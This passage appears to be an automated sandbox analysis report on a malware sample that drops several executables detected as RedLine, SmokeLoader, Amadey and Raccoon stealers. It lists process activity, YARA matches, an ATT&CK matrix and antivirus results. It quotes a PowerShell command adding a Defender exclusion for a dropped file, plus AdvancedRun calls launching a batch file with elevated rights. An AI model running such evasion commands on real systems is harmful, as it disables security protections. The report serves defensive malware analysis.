Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process created: C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process created: C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run

Source: C:\Users\user\Desktop\cnv622JnZv.exe	Process created: C:\Users\user\Desktop\cnv622JnZv.exe 'C:\Users\user\Desktop\cnv622JnZv.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jejhieg	Process created: C:\Users\user\AppData\Roaming\jejhieg C:\Users\user\AppData\Roaming\jejhieg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Process created: C:\Users\user\AppData\Local\Temp\C5EA.exe C:\Users\user\AppData\Local\Temp\C5EA.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /SpecialRun 4101d8 4380	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process created: C:\Users\user\AppData\Local\Temp\977B.exe 977B.exe
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process created: C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe

Code function: 25_2_00401C26 GetCurrentProcessId,memset,memset,_snwprintf,memset,ShellExecuteExW,WaitForSingleObject,GetExitCodeProcess,GetLastError,

25_2_00401C26

Source: C:\Users\user\AppData\Local\Temp\8615.exe

Code function: 24_2_6B4AE730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,

24_2_6B4AE730

Source: explorer.exe, 00000006.00000000.301003169.0000000001640000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.301003169.0000000001640000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000006.00000000.301003169.0000000001640000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: explorer.exe, 00000006.00000000.286961405.0000000001128000.00000004.00000020.sdmp	Binary or memory string: ProgmanOMEa
Source: explorer.exe, 00000006.00000000.301003169.0000000001640000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: explorer.exe, 00000006.00000000.301003169.0000000001640000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\66A4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\77DC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\977B.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A557.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\977B.exe

Code function: 34_2_00410B13 cpuid

34_2_00410B13

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\cnv622JnZv.exe

Code function: 0_2_004234B0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004234B0

Source: C:\Users\user\AppData\Local\Temp\977B.exe

Code function: 34_2_0041F061 _free,_free,_free,GetTimeZoneInformation,_free,

34_2_0041F061

Source: C:\Users\user\AppData\Local\Temp\977B.exe

34_2_00401F20

Source: C:\Users\user\AppData\Local\Temp\8615.exe

Code function: 24_2_6B4A4020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,

24_2_6B4A4020

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 00000028.00000000.477374112.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.478964555.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.518079752.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.476131601.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 19.0.jejhieg.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.C5EA.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.cnv622JnZv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.C5EA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C5EA.exe.2ba15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.jejhieg.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.jejhieg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.1.C5EA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.C5EA.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.cnv622JnZv.exe.2dc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jejhieg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.cnv622JnZv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.8615.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.C5EA.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.8615.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.jejhieg.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.jejhieg.2cc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.8615.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.465682057.00000000047F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.440048320.0000000002FD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.440144777.0000000002FF1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.320318511.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.379053476.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.302632865.0000000004F61000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.379166058.0000000001F61000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.464888081.0000000002B70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.423422124.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.320173015.0000000000460000.00000004.00000001.sdmp, type: MEMORY

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 35.3.152F.exe.48f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.152F.exe.48f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.152F.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.152F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000003.460198021.00000000048F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.478734177.0000000000941000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.476969852.00000000013F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.593634201.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 152F.exe PID: 1280, type: MEMORYSTR

Source: Yara match

File source: Process Memory Space: 152F.exe PID: 1280, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 00000028.00000000.477374112.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.478964555.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.518079752.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.476131601.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 19.0.jejhieg.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.C5EA.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.cnv622JnZv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.C5EA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C5EA.exe.2ba15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.jejhieg.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.jejhieg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.1.C5EA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.C5EA.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.cnv622JnZv.exe.2dc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jejhieg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.cnv622JnZv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.8615.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.C5EA.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.8615.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.jejhieg.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.jejhieg.2cc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.8615.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.465682057.00000000047F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.440048320.0000000002FD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.440144777.0000000002FF1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.320318511.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.379053476.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.302632865.0000000004F61000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.379166058.0000000001F61000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.464888081.0000000002B70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.423422124.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.320173015.0000000000460000.00000004.00000001.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 35.3.152F.exe.48f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.152F.exe.48f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.152F.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.152F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000003.460198021.00000000048F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.478734177.0000000000941000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.476969852.00000000013F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.593634201.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 152F.exe PID: 1280, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	DLL Side-Loading11	Exploitation for Privilege Escalation1	Disable or Modify Tools11	Input Capture1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Application Shimming1	DLL Side-Loading11	Deobfuscate/Decode Files or Information11	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Windows Service1	Application Shimming1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter1	Registry Run Keys / Startup Folder1	Access Token Manipulation1	Software Packing23	NTDS	System Information Discovery26	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Service Execution2	Network Logon Script	Windows Service1	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol25	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection1012	DLL Side-Loading11	Cached Domain Credentials	Security Software Discovery441	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Registry Run Keys / Startup Folder1	File Deletion1	DCSync	Virtualization/Sandbox Evasion131	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Process Discovery3	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion131	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Process Injection1012	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Hidden Files and Directories1	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
cnv622JnZv.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\977B.exe	100%	Avira	HEUR/AGEN.1138925
C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	100%	Avira	HEUR/AGEN.1138925
C:\Users\user\AppData\Local\Temp\152F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B084.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\bejhieg	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\977B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A557.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8615.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\77DC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\jejhieg	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\66A4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C5EA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	Metadefender		Browse
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1105.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1105.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\152F.exe	47%	ReversingLabs	Win32.Trojan.Krypter
C:\Users\user\AppData\Local\Temp\66A4.exe	39%	ReversingLabs	ByteCode-MSIL.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\8615.exe	80%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\A557.exe	43%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles
C:\Users\user\AppData\Local\Temp\B084.exe	57%	ReversingLabs	Win32.Trojan.Raccrypt

Unpacked PE Files

Source	Detection	Scanner	Label	Download
34.0.977B.exe.400000.11.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
3.0.cnv622JnZv.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
33.3.B084.exe.2b70000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.2.cnv622JnZv.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.C5EA.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.2.977B.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
19.0.jejhieg.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.977B.exe.700000.6.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
18.2.C5EA.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.977B.exe.700000.12.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
34.0.977B.exe.400000.15.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
18.0.C5EA.exe.400000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
24.2.8615.exe.2fb0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.977B.exe.700000.18.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
19.0.jejhieg.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.2.977B.exe.700000.1.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
18.0.C5EA.exe.400000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
34.0.977B.exe.700000.10.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
19.1.jejhieg.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
33.2.B084.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.1.C5EA.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.2.jejhieg.2cc15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.C5EA.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.0.977B.exe.8d0000.1.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
34.0.977B.exe.400000.9.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
0.2.cnv622JnZv.exe.2dc15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.977B.exe.700000.16.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
26.0.977B.exe.8d0000.0.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
34.0.977B.exe.700000.3.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
19.0.jejhieg.400000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
34.0.977B.exe.700000.1.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
34.0.977B.exe.700000.0.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
19.0.jejhieg.400000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
34.0.977B.exe.400000.5.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
19.2.jejhieg.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.1.cnv622JnZv.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.977B.exe.700000.2.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
18.0.C5EA.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.977B.exe.700000.14.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
34.0.977B.exe.400000.7.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
33.2.B084.exe.2b60e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.3.8615.exe.2fc0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
